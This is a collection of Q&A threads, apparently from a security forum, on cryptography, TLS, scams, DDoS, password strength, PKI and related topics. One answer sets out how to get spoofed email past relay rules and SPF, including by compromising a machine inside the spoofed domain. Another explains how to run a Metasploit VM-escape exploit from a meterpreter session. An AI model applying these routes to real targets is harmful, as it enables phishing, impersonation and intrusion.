What role do hashing and block ciphers play in random number generation? I read about pseudo random number generators and there were certain demands on which "underlying hash function" and "underlying block cipher" to use. What role do hashing algorithms and block ciphers play in random number generation?

Hash functions are often used as a mixing function to take potentially-biased input data and transform it in a way such that those biases are highly unlikely to negatively impact the quality of the system's RNG state. This is useful when you're trying to accumulate entropy from sources that might only contain partial randomness, and some of the data may possibly be influenced by an attacker. As long as any of the input bits are unknown and unpredictable, the output bits from the hash will retain that unpredictability.

Symmetric ciphers are often used to produce DRBGs - deterministic random bit generators. By configuring a cipher such as AES or RC4 as a stream cipher with a secret seed value as the key, the output of the cipher becomes a cryptographically secure random bit generator. This is useful in cases where you need repeatable but secure random numbers, e.g. where two systems both need to produce the same stream of random numbers but the randomness needs to be secure.


Can TLS Compression be enabled on 3rd party CDN sites that have no authentication? In this answer, @Thomas Pornin talks about remediating the CRIME attack and says:

  (It is a shame to have to remove SSL compression, because it is very
  useful to lower bandwidth requirements, especially when a site
  contains many small pictures or is Ajax-heavy with many small
  requests, all beginning with extremely similar versions of a mammoth
  HTTP header. It would be better if the security model of JavaScript
  was fixed to prevent malicious code from sending arbitrary requests to
  a bank server; I am not sure it is easy, though.)

Suppose my website serves content from two HTTPS URLs: secure.company.com and images will be hosted at cdn.differentTLD.net.  Note that I'm using different domains so no authentication cookies will be sent or validated.  Also assume that this CDN holds static files and no authentication will be done.

Is it safe to enable TLS Compression only for the CDN?

I understand that @D.W. and @PulpSpy's answer can infer which file is being downloaded based on their post below.

That being said, can a lower-level TLS "secret" be exposed outside of the data that is in the HTTP protocol? (In the CRIME attack we seem to only talk about getting the cookie in the header)
Can any data gained from a CRIME exploit against the CDN be used against the other domain?

Compression-related vulnerabilities are about leakage: what the attacker can learn about the exchanged data, based on the data length. It makes sense only for confidential data; in the case of CRIME, the confidential data is the cookie which the client sends to the target server along his request.

If you have a server which does not exchange anything secret, in particular no cookie value, then there is no data to be leaked, hence no problem. Note that this is not restricted to cookies: if some secret requests are sent to the server (e.g. response to a login form with embedded password), then the attacker could try to use compression between that data and his forged request, since successive requests to the same server tend to reuse the same connection (TLS-level compression spans over the whole data flow, oblivious to HTTP request boundaries). We are talking about a server to which no secret data whatsoever is sent, and from which no secret data whatsoever is obtained. We must assume that not only the pictures are public data, but which picture is downloaded is also public information.

Note that enabling TLS-level compression will not buy you much anyway. Existing browsers do not support that compression any more, and pictures are already compressed.


Web App vulnerabilities My VM scanner has detected the following vulnerabilities through an authenticated scan, see below.

This is from a web app provided by BIGSQL (Dev & Ops Web App). Is it safe to use this app or would it be possible to exploit those vulnerabilities without having credentials? If someone manages to gain unauthorized access to the web app then I would imagine that those vulnerabilities would be the least of my concern.

Any results from an automated scan should be followed up with manual testing to confirm or deny a result.

Also, without knowledge of exactly what your application does it hard to determine the impact some of these vulnerabilities would have but generally I would not allow an app into production with some the the problems detected in the scan such as XSS, CSRF and Cookie flags.

You have to determine what your application does, the data it uses and actions that can be performed through it and then understand the vulnerabilities and how those can impact your users and data.

I would not dismiss a vulnerability just because it was found with an authenticated scan, especially if anyone can register/sign up through the application. You definitely want to have multiple layers of defense.

I recommend do some manually testing to confirm these and if they are confirmed put measures in place for XSS, CSRF, cookie flags, click jacking but again you have to determine your own risks based on your application


What is the point of an attack using spam without any URL or attached file Recently, I received the following e-mail:

  Subject: Reply Me...Urgently

  From: something@hotmail.com

  From the Desk of Mr. James Kuffor
  Bank Manager, Ghana.

  Dear Sir/Madam,

  Unclaimed Funds Worth($7.5 Million)Kindly do Contact me for More Details my Private Email= something@gmail.com

  Regards

  Mr James Kuffor

This is clearly a spam that was not caught by my filter, but I was thinking about it: What's the purpose of this spam?

The message is a classic scam. There is no URL or attached file. The e-mail came from a trusted server (or even disguised as a trusted server) and the e-mail in the body message is also from another trusted server (OBS: I changed the real name to "something" just in case of a stolen e-mail account).

My question is: What's the type of this attack? I just thought in two options:

Some type of (poorly made) social engineering attack that works somewhere;
Some type of mail bombing;

The first option is too much fantasy to me, but I don't know, maybe it works. The second option is plausible, but I just received one e-mail (I checked my spam folder).

I also found this similar question here, but the e-mail does not use words like "viagra" or anything that justifies the "Bayesian Poisoning", so my question remains: What's the objective of this type of spam? Is it a know attack?

It's a Nigerian email scam (as @Sravan commented).

If you contact that email the scammer will promise you a lot of money and ask for a small fee for document copies, then a little more for document authentication, and the sky is the limit.

People often fall for this scam because it seems too easy to wire 10 dollars someone and hope something will come out of it. The scammer keeps asking for small quantities for bureaucracies, and promising the fortune will be release soon. As 10 dollars turns into hundreds, the victim keeps sending more money out of fear of ruining their initial "investment."

If you want to read funny stories, go to 419eater.com and read the emails real people used to play with the scammers.


How is DDoS possible if you're not listening to the DoS traffic? I've read about DDoS attacks and specially the amplification techniques. For example, the DNS amplification technique where you can send queries to open resolvers pretending to be the victim, then [if nobody is filtering packets] the victim will get all the responses and if the traffic is high enough, get overwhelmed and stop functioning the way it is supposed to.

If I understand that correctly, the DNS response will be sent from the open resolver with an arbitrary destination port that the victim is not listening to (cuz he didn't make the request, thus not waiting for a response on that port!). How does that affect the victim? Can you get overwhelmed by receiving too many packets wrongly addressed to a port where you are not listening? Is it an expensive operation to ignore packets? Or am I getting it wrong somehow?

Ignoring packets is cheap, but if your connection is unable to handle the sheer volume of traffic per second then you're going to fall down hard. The only answer at that point is to filter traffic upstream of you. Because things are distributed and high performance routers really don't like consulting a large routing table just to play whack-a-mole on which hosts to drop, that can get unwieldy.

That last part is what makes a DDoS so effective: that it's hard to reroute traffic upstream. CloudFlare makes a business out of having enough bandwidth to absorb all the traffic and deal with it without having to filter upstream at providers.


Does SGC Support reduce HTTPS security? Server Gated Cryptography is a legacy technology (implemented by obsolete laws) that allows older browsers to establish a SSL session at a higher encryption.

This article says  SGC should never be used and it enables malicious (hacker) use, at the same time, there is a contradicting opinion at the bottom  of the article.

Also, I noticed that some sites still support SGC encryption, but also have an "A" rating by SSL Labs.

Is it actually bad to support SGC?
What is special about a SGC certificate, or webserver that makes it "work".  I'd like to understand how it works so I can properly shut it down.

The argument basically seems to be that SGC certificated are only useful for a handful of ancient browsers, whose vendor support has long since ended, and those browsers already contain plenty of security holes that make them insecure regardless of what encryption might or might not be used.

Thus, allowing users to establish an HTTPS connection to your site using one of those ancient browsers is only creating an illusion of security.  The user might think they're safe because they're using HTTPS, but in fact their browser is almost certainly infested with malware that could be logging everything they do, HTTPS or not.

If you care about your users' security, the only thing you should be sending to those browsers is a security warning and a request to upgrade.  If you don't care about security, well, why are you bothering with HTTPS in the first place?

All that said, there doesn't seem to be any intrinsic security flaw in SGC certificates — they work just fine, provided that you're using a modern, secure browser.  They're just not really needed by any such browser.


Set Session Metasploit Metasploit exploits (exploits/windows/local/virtual_box_opengl_escape in specific) have an option called Session. What is this is to be set to? I am running Kali on virtual box on a Windows machine

This is a VM escape exploit. You use it to get a shell you have in a VM to break out of the guest machine into the host machine.

If you look at the source code of the exploit it sais

'SessionTypes' => ['meterpreter'],

So that means you should give it the ID number of the meterpreter session you have.

You can see them with the command sessions -l


Does truncating the cryptographic hash make it impossible to crack? I store password hashes in their full value for example, $h = sha256('foo') outputs 64 characters: 2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae

I store that directly in the database (along with salts, iterations, etc.).

My question is if I truncate that hash by 32 characters (or whatever length that's not too short) then store that instead, does it make it impossible to "crack" or "reverse" (in case hacker gains access to the database of hashes)? If so then I guess this is highly recommended or are there problems with it?

Definitely not, if anything this practice undermines the hash function making it easier to find a collision during an exhaustive search.  In the sense of a password,  any plain text that produces the same hash value is a valid password.

That being said,  ChromeOS uses a truncated hash of your Google password in their s2k function for the Google disk encryption scheme.  I suspect that this was to make it harder to break your Google password in favor making it easier to find a password that decrypts your disk...  which is kind of unsettling.


How can we accurately measure a password entropy range? I've given myself the task of writing code that determines the strength of a password, and really want to break out of a lot of already established ways we do that, as they're often lacking, not designed the right way, or quickly become irrelevant.

Generally, we'll see patterns where you enter a password, and a boolean "you need 7 chars with letters and numbers" is presented. Later, we had a reasonless graphic that shows a "strong to weak" scale ranking (and variations where this is a percentage). We've been getting better at this pattern, a lot better actually, where we think about showing user time to brute-force, explicitly showing reasons for why that score was assigned,

Now, I really like the presentation of these last two ideas, but that's not my primary concern here, and my question has nothing to do with presentation of this tool.

My question is what should a program that generates an estimated range of password security take into consideration?

After looking through the source of howsecureismypassword.net, we see it does a few neat things, like keep a list of top 500 common passwords, groups passwords by character classes that are involved, and relates a meta-score to an estimated time to crack a bunch of hash values in that range. There's some problems with this, such as the top 500 passwords don't reflected present "top 500," but rather the ones at time of writing the code, same goes for password cracking speeds, and attacks that may not end up using brute-force.

I see similar issues with passwordmeter.com, but more in the sense that it runs best-case rather than worst-case scenarios.

So my question is

What do I need to think about to measure a password's security score at time "now"?

The best work in this area I've seen is by Matt Weir in Reusable Security: New Paper on Password Security Metrics (2010).  He describes the difference between "Shannon entropy" and "guessing entropy".  He also has an interesting method of taking a password for a user, analyzing it, and offering suggestions to make it better:

  ....other methods for password creation policies, including our
  proposed method to evaluate the probability of a human generated
  password by parsing it with a grammar trained on previously disclosed
  password lists. This allows us to build a more robust reject function
  compared to a simple blacklist, while attempting to provide the most
  user freedom possible, given the security constraints of the system,
  when selecting their passwords.

Update: as user185 notes, Appendix A of the NIST Electronic Authentication Guideline from 2006, revised in 2013, is also very helpful.  It goes into detail on calculating these two terms:

  ” As
  applied to a distribution of passwords the guessing entropy is, roughly speaking, an
  estimate of the average amount of work required to guess the password of a selected user,
  and the min-entropy is a measure of the difficulty of guessing the easiest single password
  to guess in the population.

Note that this question is closely related:

Recommended policy on password complexity


Difference in size avaialbe in encrypted volume I was making a volume with trucrypt and I set the size to be 12MB. I tried copying 10 files totalling 7.13MB (on Disk) but got an error saying I did not have enough space. Why is this? Is it because I'm copying from an NTFS format to FAT?

"Setting the size to 12 MB" doesn't tell much.

Some file systems do not scale well downwards. FAT32 will reserve space for directory structures and file allocation tables, which will give you an overhead of unuseable space. The actual space left for storing files will be the volume size minus that overhead.

After creating the volume, open it (it will be empty) and check what the available size actually is.

Even so, differences in allocation block size may mean that you cannot store what on disk A are 8 megabytes onto disk B even if you have 8 megabytes free there (the "File size (on disk)" is what matters here). After each file copy, verify how much the available space has shrunk.


Spoofing email From address Providing all legal measures are taken care of, what are some of the ways someone can spoof an email "From" field address and actually get the email to the recipient without spam filters getting in the way. The following are the ways I currently know of:

Telnet to a mail server and enter the from address and then the rcpt address, but I normally see "550 unable to relay."

Use Outlook with the "Send As" permission.

Create a Windows Live Mail/Outlook Express account with any username@domain.com

The bottom line is this is for testing/educational purposes and I would like to know if it's possible to send an email that doesn't get caught up in the spam filter with a spoofed "From" field with a link/logo in the body. I understand this could fall into a "hacking" category, but the same holds true for anyone performing social engineering exercises with signed documentation.

Note: So far the telnet method seems to be the best route, except for some hangups such as the 550 error.

Let's suppose that someone (Mario) wants to send an email to someone else (let's call him Nicolas). Nicolas' mailbox is filled by a unique server, let's say smtp.gouv.fr (that's a fictitious example). So, whatever Mario does, the email will have to go through that server, transmitted with the SMTP protocol (the one with the 'RCPT' command). Mario would like the From line to be: From: angela@bundestag.de. Note that there are actually two "from" addresses: the one in the From: header (which the recipient sees with his usual mail-reading application), and the one which is given through the MAIL FROM SMTP command (the latter will appear in the Return-Path: header).

Now, although the email has to go through Nicolas' SMTP server, it may make a few hops. The normal mail-sending situation is that the sender uses the SMTP server of his ISP, and that server will talk to the destination SMTP server. Mario's ISP server is smtp.governo.it. Mario can decide to do his telnet (or equivalent, but it always SMTP at the end) either to smtp.governo.it, smtp.gouv.fr, or some other server, e.g. smtp.bundestag.de (the SMTP server of Angela's ISP), or some other server (smtp.buckingham.uk).

There are various things which can prevent Mario from doing so:

Mario's ISP may prevent any outgoing connection from his machine to any SMTP server (i.e. any TCP connection which targets port 25) except if the target machine is smtp.governo.it. Many ISP do that, mainly to prevent zombie machine from spamming widely without any control.
smtp.governo.it may reject the attempt because the advertised "from" address is not an address ending with "@governo.it". The server may enforce such a filter on the "From:" header, or on the MAIL FROM command, or on both. Some (not all) ISP apply such rules.
If Mario contacts smtp.buckingham.uk, that server may reject the attempt because the mail is neither destined to an address in buckingham.uk, or sent with a "from" address in "@buckingham.uk". Servers which forward arbitrary emails from and to the outside are called "open relays" and are generally frowned upon, namely because spammers just love them.
If Mario contacts smtp.bundestag.de, that server may also reject the attempt, although the mail is indeed advertised as being sent by Angela, because smtp.bundestag.de knows that Angela would use a connection coming from one of the IP addresses which are indeed part of the network managed by bundestag.de. If smtp.bundestag.de was not doing that, it would also be deemed an "open relay" (although less open than the previous instance, but partly open nonetheless).
If Mario finds a SMTP server (not smtp.bundestag.de) which accepts to forward the email, or if Mario connects directly to smtp.gouv.fr, then the attempt may still get rejected if the bundestag.de domain uses SPF. SPF is a way for a domain to advertise, through the DNS, some mail-sending policies. Here, bundestag.de would publish with SPF the information that normal emails sent from @bundestag.de people should originate from smtp.bundestag.de and nowhere else. smtp.gouv.fr, upon seeing Mario's connection (or the connection from the gullible SMTP server that Mario found), may then look at the SPF records for bundestag.de, and detect the anomaly. Of course, SPF is not used everywhere, and since it is DNS based it is vulnerable to coordinated DNS attacks ("DNS poisoning" and things like that).
Some big mail providers enforce arbitrary obscure limitations, which may have the same effect than SPF, but in an undocumented and sometimes officially denied way.

So the best bet for Mario would be to either connect with telnet to smtp.gouv.fr (assuming that his ISP lets him do that, and that bundestag.de does not use SPF, or that smtp.gouv.fr disregards SPF information); or he could try to find some hackable or otherwise complacent machine somewhere in the bundestag.de, and use it as an open relay to send the mail through smtp.bundestag.de (which would have the added bonus of making all the headers "realistic", as if Angela had done it herself).


QES AdESQC TL based Signature Validation Policy Reading the ETSI EN 319 102-1 V1.1.1 (2016-05) Electronic Signatures and Infrastructures (ESI); Procedures for Creation and Validation of AdES Digital Signatures; Part 1: Creation and Validation.

The signature validation procedures and requirements are clear in section 5. However there are many references to validation according "Signature Validation Policy", which should be included also in the validation report.

I was searching what does it mean and came along to "QES AdESQC TL based" signature validation policy. Many example are there which has this policy in the validation report.

Where is the signature validation policies defined? Where I can find the relevant information about it? It seems that QES AdESQC TL based is something standard but I am not able to find the real definition of the policy.

I am not sure if the signature validation policy can be defined for example as XML file with the conditions how to validate signature or seal, which can be understood by application.

All sample validation reports refer to it, e.g.:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<SimpleReport xmlns="http://dss.esig.europa.eu/validation/simple-report">
    <Policy>
        <PolicyName>QES AdESQC TL based</PolicyName>
        <PolicyDescription>Validate electronic signatures and indicates whether they are Advanced electronic Signatures (AdES), AdES supported by a Qualified Certificate (AdES/QC) or a
        Qualified electronic Signature (QES). All certificates and their related chains supporting the signatures are validated against the EU Member State Trusted Lists (this includes
        signer's certificate and certificates used to validate certificate validity status services - CRLs, OCSP, and time-stamps).
    </PolicyDescription>
    </Policy>
    <ValidationTime>20/01/2016 08:06:05.002</ValidationTime>
    <DocumentName>PAdES_B_PVDB-extended_LTA.pdf</DocumentName>
    <ValidSignaturesCount>1</ValidSignaturesCount>
    <SignaturesCount>1</SignaturesCount>
    <Signature Id="id-30b3acd8c4fe0ced13b26ed2e6574d91e2e77b19e06a42b6c513a0b046b4561b" SignatureFormat="PAdES_BASELINE_LTA">
        <SigningTime>30/07/2015 13:49:14.000</SigningTime>
        <SignedBy>Pierrick Vandenbroucke (Signature)</SignedBy>
        <Indication>TOTAL_PASSED</Indication>
        <SignatureLevel>AdESqc</SignatureLevel>
    </Signature>
</SimpleReport>

The "QES AdESQC TL based" policy is the default policy used if none are specified. You can find that default policy in the DSS library under "source/main/resources/constraint.xml" in the dss-policy-jaxb library.
It looks like the default policy follows the recommendations as defined by the ETSI regarding digest and encryption algorithm expiration dates which is probably best practice if you are doing anything with signing for official instances. This file can also be used as a template to create your own policy if required.


How do governments carry out computer surveillance? If HTTPS is really secure as companies tell us, how do governments manage to eavesdrop on terrorist and criminal communications?
https://en.wikipedia.org/wiki/Computer_and_network_surveillance

Governments purchase spyware from private companies.

Some companies like VUPEN are known for building complex 0-day exploits against browsers and selling them privately to anyone for hundreds of thousands of dollars.

Recently the Obama Administration has moved to block the sale of such technology to Iran and Syria.  Iran is known to be performing active MITM attacks against gmail.


Manually adding 's' to 'http' I did a Wireshark capture of my login into a drupal-based website. The website does not use https. And so, quite obviously, I was able to capture my username and password in plain text by simply  using the http.request.method==POST filter in Wireshark.

Then, I tried to access the same web page by manually adding a s to http in the url. Quite naturally, my browser showed this:

Then I went ahead and did my login again, and did the Wireshark capture again.

To my surprise, I do not have the any captures corresponding to the http.request.method==POST filter.

So, my questions:

When I am not really using https, why wasn't I able to capture login id and password in plain text?
What effect did manually adding s to http have?

Despite what you may think, you actually were using HTTPS.  This is perhaps an over-simplification, but here's more or less what happened:

When you accessed the website with http:// as the protocol in your Address Bar, you effectively told your computer "Make a request for this webpage, from this server, and send that request to port 80 on the server".  If the server is configured to allow access via plain HTTP (apparently, it was), the server will respond and your session (unless re-directed) will continue over HTTP.

By changing the protocol to https://, you instead directed your computer to attempt an SSL/TLS handshake via port 443 on the server and then send the HTTP requests through that tunnel.  Obviously, this worked or you would not have been able to access the page.  Since the SSL/TLS connection was successful, that meant that all subsequent HTTP requests sent through that tunnel would be secured from casual eavesdropping (e.g.: via Wireshark).

But now, you ask, what about that nasty red slash through https, and the "x" on the lock?  These indicators do not mean that the SSL/TLS connection was unsuccessful, or that your communications to the website are not encrypted.  All these negative indicators mean is that the website is not signed by an authority your browser recognizes.  This is often the case for the web interfaces on SOHO networked equipment, business applications, or websites where the administrator has chosen to use a self-signed certificate instead of purchasing one from a well-recognized authority (e.g.: VeriSign).

This is analogous in some ways to selling alcohol in a jurisdiction where such sales are age-restricted.  Since I don't know all the intricacies of the real-world laws, let's say for the sake of argument that the law only goes so far as to say it is illegal to sell alcohol to a person who is younger than a given age.  What the law in this hypothetical case does not specify is whether you are required to check I.D. prior to a sale, or which forms of I.D. are considered to be valid proofs of age at time of sale.  Authoritative proof of the buyer's age is only ultimately required in court if the legality of the sale is ever challenged.  However, it is still of course a good idea to check I.D.s on every sale just to be safe.

Here, you are a clerk at a convenience store in the great state of Comodo.  Most of your customers will be fellow Comodoans, and so you are naturally able to easily recognize and verify their I.D.s which are issued by the Comodo Government.

One day though, you get a customer from the distant state of VeriSign.  What do you do now?  Fortunately, your store has a book called Trusted Root Certificates which has pictures and tips on how to verify I.D.s issued from various states in your country.  You check your book, compare the customer's I.D. to the relevant photograph and notes, and judge that the I.D. is indeed issued by an authority trusted by your store.  Given this, you can now trust that the information on the I.D. (particularly, stating the customers identity and age) is accurate, and therefore be comfortable in knowing that you are making a legal sale.

On another day, a customer comes in from overseas.  His name is Drupal, and he hails from the land of DigiNotar.  He says he is old enough to buy alcohol, and his DigiNotarian Government I.D. concurs with his statement.  However, your Trusted Root Certificates book does not have any information to help you verify an I.D. from his country.  What do you do here?

Strictly speaking, by the letter of the law in this hypothetical country, your sale would still be legal if your customer is in fact as old as he says he is.  You could choose to assume he is telling the truth and, if he actually is, go on with your life without ever being convicted of any crime related to that action.

But, without any documentation from an authority you recognize, you are still taking the risk that he is not telling the truth.  It's very possible that he is not of the proper age, despite what he and his I.D. may claim.  In this case, the sale will still be completed.  The product will still only be transferred between you and your customer (not immediately available to anyone else, unless your customer chooses to distribute it), but now the problem is that the alcohol has been given to someone who legally should not have it - and you could be in trouble for this.

TL;DR:  As long as your browser shows https:// as the protocol, you can be assured that the data in your communications are secured between your computer and some endpoint.  If there's any warning signs around that https:// area though, that means that the browser does not trust that endpoint to be what it claims to be.  It is then up to you to decide whether you trust the endpoint's claims to identity enough to transfer sensitive data over the connection.  The connection is still secure in the sense that nobody between you and the other end of the HTTPS connection can sniff the data, but you are taking the chance that the other end isn't what it claims to be.

UPDATE: Some browsers are now beginning to incorporate checks on the cipher suites and other properties of the HTTPS connection, and providing warnings accordingly. In these cases, the above still applies, but you should be aware that it will be easier for an eavesdropper or Man-in-the-Middle to break that security than if the site used stronger encryption protocols.


Why does Mozilla's SSL Config Generator not disallow aNULL and MD5? I've been using for some time this ciphers suite from Acunetix, to which I also added !DSS.

ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS

Recently I discovered Mozilla's SSL Config Generator, which generates a more detailed (and up-to-date) ciphers suite. However, I noticed that it isn't disallowing neither aNULL nor MD5.

ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS

What would be the likely reason for not doing so?

The list generated does not contain any ciphers or cipher sets which contain anonymous authentication or ciphers using MD5, so it is not necessary to explicitly disallow these. Actually the !DSS at the end is not needed too since none of the previously allowed ciphers contain anything which is covered by DSS.

For more information how the ciphers string is constructed and how to interpret  it see the documentation.


Which KEK can wrap AES, RSA and ECDSA keys securely? If I have AES256, RSA4K and ECDSA-512 keys as CEKs, which I need to securely store, what KEK can I use to securely wrap these without reducing the bit strength?  I am aware that an AES256 key can wrap RSA4K without reducing the bit-strength (RFC 3394 and 5649). Can an AES256 key wrap another AES256 securely? Is the same true for AES ECDSA-512 wrap as well? Is there an RFC standard?

Keys are not so special that they need special ways of encrypting them. Any key that's secure enough to encrypt data for your needs is secure enough if that data happens to be, or include, another key.

Compliance is another matter. Compliance rules sometimes require a key encryption to be at least as strong as the wrapped key, even if you don't need the result to be that strong. But if such rules apply to you, you have to look up their definition of strength, because there's no universal definition. https://www.keylength.com/ lists a few.

For example, RSA-4096 is usually estimated at somewhat over 128 bits, because it would take a little somewhat more computation effort to brute-force an RSA-4096 key than an AES-128 key. In terms of security, the exact number is irrelevant because it's more than what even the largest nation-state can do even given physically-realistic but economically-unrealistic power. That's as long as there are no game-changing advances such as one that quantum computers may bring, but if there are game-changing advances, they'll affect different key types differently anyway, so the relative scale of the numbers would be completely different. So in terms of security, it's perfectly fine to encrypt an RSA-4096 key with an AES-128 key. But in terms of compliance, if you do this, depending on the compliance framework, you may either find that it caps your system's security at 128 bits (which is fine, you couldn't expect anything more) or that it's forbidden because RSA-4096 is somehow too strong for AES-128.

AES-256 should be fine to encrypt anything, even in the strictest compliance frameworks (apart from the ones that don't accept AES, e.g. that want Russian or Chinese algorithms instead). It's not as if there was anything that's stronger on paper.


Multi-User-Server Public-Key-Based Authentication So, lets say we have Alice, John, Peter and Bob.
Alice, John and Bob all know Peter's public key and trust Peter. Alice wants to connect to Bob's server, so she presents her public key, which was signed by Peter. Bob verifies that her key was signed by Peter.
Question: If John also has a key signed by Peter, presents it to Bob, Bob verifies, but John says that his username is Alice, than what to do? Is it ok if Peter instead signs the hash of Alice's name and her public key(Alice's key and name combined), and Bob verifies that, or is it insecure? What if the hash was cracked?What are other ways to make sure that Alice is Alice and was signed by Peter? Also, Peter will be offline when Alice connects to Bob.

In your question you are only taking about keys, where a key can signed by someone else but the key is not associated with an identity itself:

  If John also has a key signed by Peter, presents it to Bob, Bob verifies, but John says that his username is Alice, than what to do?

You then propose the concept of adding the identity:

  Is it ok if Peter instead signs the hash of Alice's name and her public key(Alice's key and name combined),...

This way you described one of the main elements of a public key infrastructure (PKI): the certificate. Certificates are information about the identity  (name of Alice) combined with the public key belonging to the identity (Alice public key) and all this together signed by the issuer (using Peter's private key).

Whenever you do a HTTPS connection the server sends such a certificate and the client verifies that the name in the URL matches the name in the certificate, i.e. that the claimed and actual identity match. A certificate contains even more information, like lifetime of the certificate or what is is usable for.

  What if the hash was cracked?

If the hash is cracked or if the private key gets known it would be bad and could be use to fake an identity. That's why safe hashes are used like currently SHA-256.

  Also, Peter will be offline when Alice connects to Bob.

This does not matter much. Bob does not need to ask Peter if Alice certificate is valid because Bob knows and trusts the issuers (Peters) certificate. But it would be useful from time to time to ask Peter if Alice revoked their certificate.

For more details have a look at how a PKI works.


Quick question regarding suspicious disk space use: Quite some time ago I used a friend's computer. I can't remember exactly what I was doing; but as part of whatever it was, I needed to use a USB flash drive. At a point in time soon after connecting the drive to his computer, and while viewing the drive properties through Windows Explorer, I noticed just over thirty megabytes of space became occupied without any user instruction. Within seconds, the drive again showed empty; however, the total amount of space available within that drive was then that same amount of megabytes short. What can be the cause of this strange behavior?

This doesn't seem suspicious at all. As raz pointed out, Windows makes rapid estimates of space and then replaces that number with the real number after finishing calculations.

Also, all disks need to reserve space, but again, as raz mentioned, 32Mb is not unreasonable.


In OpenPGP, when encrypting with public key -- is it possible to not include the RSA key id? In OpenPGP, when encrypting with public key -- is it possible to not include the RSA key id as plaintext in the metadata?

I need to encrypt messages, but I want it to be impossible to identity the receiver. Only the true receiver of the message will know that it is he or she.

I'm doing this with OpenPGP.js.

It is possible to hide the key ID by specifying a hidden recipient. This simply zeros out the included ID in the metadata and requires the recipient to exhaustively try all their secret keys before they can tell if it was even encrypted to them. This is part of the standard, specifically RFC 4880 § 5.1:

  An implementation MAY accept or use a Key ID of zero as a "wild card"
     or "speculative" Key ID.  In this case, the receiving implementation
     would try all available private keys, checking for a valid decrypted
     session key.  This format helps reduce traffic analysis of messages.

GnuPG, an implementation of the OpenPGP standard, provides an option to do this:

--hidden-recipient name
-R

  Encrypt for user ID name, but hide the key ID of this user's key. This option
  helps to hide the receiver of the message and is a limited countermeasure
  against traffic analysis. If this option or --recipient is not specified,
  GnuPG asks for the user ID unless --default-recipient is given.

I do not know if OpenPGP.js supports this*, but it would be trivial to hack in support for it.

But know that this does not provide cryptographic protection against key discovery! Given enough encrypted ciphertexts, an adversary can discover what public key was used to encrypt it by solving the German tank problem. So hiding the key ID, even if supported by the standard, will not give you key privacy if an adversary has access to multiple ciphertexts and your public key.

RSA messages encrypted with a key using modulus n contain an integer between 0 and n-1 with uniform distribution. If an adversary is able to observe multiple encrypted messages, they will be able to determine a few of the most significant bits of the modulus, allowing them to tell individual encrypted messages apart or even tie them to their public key (after all, the modulus is public).

* According to the source code, a zeroed key ID appears to be supported. It was added in this commit.


How can JavaScript be tampered with while viewing a web page? I often hear about how client side JavaScript can't be relied on because it can easily be changed. How exactly can it be changed, what program would be used to modify the JavaScript before a page renders? Obviously in a browser if you choose "view source" you see it but how would an attacker change it?

BURP proxy allows you to modify http request made by the browser as well as http responses.  Using this tool you could modify JavaScript or modify the requests made by JavaScript to attack the server-side system.

Also you can edit JavaScript using Chrome's Developer Tools or firebug for firefox.


General User Authorization Security I am creating a website that needs user authorization. It is my first time creating a website to go live, and also my first time trying to do any form of authorization. The following is my plan, will you please tell me if I have any obvious loop holes and if there is anything else I should be aware of. If interested or relevant I'm using a restful nodejs and mysql back end and backbone on the front end.

Log in process:

The user attempts to log in. That sends an email address and a password and an randomly generated key (haven't decided on an amount of bits).
The authorization server accepts this information, it encrypts the email address and password, and checks it against the values in the user_auth table of the authorization database. If there is a match, it creates a session id.
The authorization server then places the session id, email address, and user generated random key into a row of the session table (in the data database accessed mainly by the data server), and sends the user back a session id and any other relevant page data that is encrypted using the session id as a key.
On success of all of this the user receives the session id and decrypts the additional data and all future data using the session id.
On each action taken by the user, the client will send the email address and session id encrypted with the original randomly generated key that was sent to the data server, and if the session id and email address match, the data is decrypted using the key, and then the data is attempted to be processed.

I will also of course attempt to sanitize all data before a sql query is generated, there will be live form validation and backbone model validation as well. The mysql user that the nodejs servers will use will not have delete permissions which will be taken care of via being tagged and a daemon running on the back end.

To create an account:

The user will submit an email address, password, first name, last name to the authorization server.
The authorization server will place this along with a datetime in a temp_user table and a nicely worded email will be composed with a session id built into the url.
The user will click the link in the email to which they will be taken to a "your account has been validated page" or something. Clicking the link will save the session id value into the client's code and create a randomly generated key that is sent to the server. On success it will actually show the user the page.
On the server side the authorization server will place the username and password, encrypted, into the user_auth table of the authorization database, place the first and last name into the user table in the data database, and then delete (the only table it will have delete permissions for) the corresponding row in the temp_user table.
Now the client and server should be on the same page as in the first scenario.

if at any point the session id is null or does not match the user will be asked to log in again ans the process will start over.

Is there anything I am missing?

Is there anything I am missing?

Yes, there is something you are missing. I'm not familiar with Node.js but I can guarantee you that there are existing implementations of authentication and authorization libraries.

Using an established library will save you  a lot of headaches when it comes to protecting against the edge cases so make your life simple and pick a well-vetted library and use it.


Common JavaScript Vulnerabilities Can someone recommend a secure coding guideline for JavaScript?

Is there a set of common vulnerabilities that are closely related to the JavaScript programming language? What I am searching for are equivalent vulnerabilities to stack, heap or buffer overflows which are closely related to the c/c++ programming language.

Can one recommend tools for static code analysis tools within the JavaScript context?

Full disclosure: the following guide was written by the research team of Checkmarx, creator of CxSAST (static code analysis tool), where I am employed.

Here is a JavaScript Secure Coding Practices guide:

GitHub - https://github.com/Checkmarx/JS-SCP
GitBooks - https://checkmarx.gitbooks.io/js-scp/

